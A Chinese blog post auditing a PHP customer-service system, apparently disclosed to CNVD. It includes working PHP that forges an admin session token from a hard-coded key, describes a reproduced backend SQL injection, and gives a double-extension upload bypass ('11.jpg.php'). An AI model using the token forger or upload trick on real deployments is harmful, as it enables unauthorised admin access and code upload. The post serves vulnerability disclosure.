• php--莫客服系统代码审计(已申请CNVD)


    1绕过登录进入后台

     可以看见这里先验证是否存在service_token如果存在则进入admin/index/index方法

    我们跟进查看

     index是继承base的根据经验一般来说这些东西都是验证之类的

    跟进果不其然

     可以看见他这里uid的获取方法很奇怪是根据一个加密函数来获取的 我们看看这个方法是咋写的

    public function encrypt($string,$operation,$key='')
    	 {
    	 	    $key=md5($key);
    		    $key_length=strlen($key);
    		    $string=$operation=='D'?base64_decode($string):substr(md5($string.$key),0,8).$string;
    		    $string_length=strlen($string);
    		    $rndkey=$box=array();
    		    $result='';
    		    for($i=0;$i<=255;$i++)
    		    {
    		      $rndkey[$i]=ord($key[$i%$key_length]);
    		      $box[$i]=$i;
    		    }
    		    for($j=$i=0;$i<256;$i++)
    		    {
    		      $j=($j+$box[$i]+$rndkey[$i])%256;
    		      $tmp=$box[$i];
    		      $box[$i]=$box[$j];
    		      $box[$j]=$tmp;
    		    }
    		    for($a=$j=$i=0;$i<$string_length;$i++)
    		    {
    		      $a=($a+1)%256;
    		      $j=($j+$box[$a])%256;
    		      $tmp=$box[$a];
    		      $box[$a]=$box[$j];
    		      $box[$j]=$tmp;
    		      $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));
    		    }
    		    if($operation=='D')
    		    {
    		      if(substr($result,0,8)==substr(md5(substr($result,8).$key),0,8))
    		      {
    		        return substr($result,8);
    		      }
    		      else
    		      {
    		        return'';
    		      }
    		    }
    		    else
    		    {
    		      return str_replace('=','',base64_encode($result));
    		    }
    	 }
    

     这里本来想通过uid来构造注入的因为其他的获取变量都被htmlse方法过滤了,return substr($result,8);只返回第8位或者把$result base64加密可想而知行不通 但是由于此方法中的$operation,$key=''被写死了,所以一个uid用户对应一个service token永远不变 那么就好办了 本地搭建或者构造解密算法如下

    <?php
    	 function decrypt($string,$operation,$key='')
    	 {
    	 	    $key=md5($key);
    		    $key_length=strlen($key);
    		    $string=substr(md5($string.$key),0,8).$string;
    		    $string_length=strlen($string);
    		    $rndkey=$box=array();
    		    $result='';
    		    for($i=0;$i<=255;$i++)
    		    {
    		      $rndkey[$i]=ord($key[$i%$key_length]);
    		      $box[$i]=$i;
    		    }
    		    for($j=$i=0;$i<256;$i++)
    		    {
    		      $j=($j+$box[$i]+$rndkey[$i])%256;
    		      $tmp=$box[$i];
    		      $box[$i]=$box[$j];
    		      $box[$j]=$tmp;
    		    }
    		    for($a=$j=$i=0;$i<$string_length;$i++)
    		    {
    		      $a=($a+1)%256;
    		      $j=($j+$box[$a])%256;
    		      $tmp=$box[$a];
    		      $box[$a]=$box[$j];
    		      $box[$j]=$tmp;
    		      $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256]));
    			}
    			return str_replace('=','',base64_encode($result));
    
    	 }
    echo decrypt(1,'E','dianqilai_service');
    

     得到结果urldecode传递给cookie即可

    然后就获得了该用户所以的变量传递给了数组

     二后台sql过滤不严谨sql注入(实际环境并没有,纯属复现)

    对传入参数进行过滤的情况下但还是有情况没有用到自己定义的传参方法的 看见这里$key直接传入并且拼接select

    程序首先通过query的where方法里面的通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。

     这里看见最后的完整语句造成了注入

     后台任意文件上传

     判断不严谨 直接判断是是点后面的第一个字符 我们可以11.jpg.php绕过。

  • 相关阅读:
    Spring中的InitializingBean接口的使用
    解决MyBatis异常:The content of elements must consist of well-formed character data or markup.
    idea2019版与maven3.6.2版本不兼容问题
    IntelliJ IDEA更新maven依赖包
    JVM里的垃圾回收机制
    ASP.NET Core 中文文档 第四章 MVC(2.2)模型验证【转载】
    asp.net mvc Model验证总结及常用正则表达式【转载】
    SQL一次性插入大量数据【转载】
    ASP.NET Core依赖注入解读&使用Autofac替代实现【转载】
    WCF、WebAPI、WCFREST、WebService之间的区别【转载】
  • 原文地址:https://www.cnblogs.com/-zhong/p/13870045.html
Copyright © 2020-2023  润新知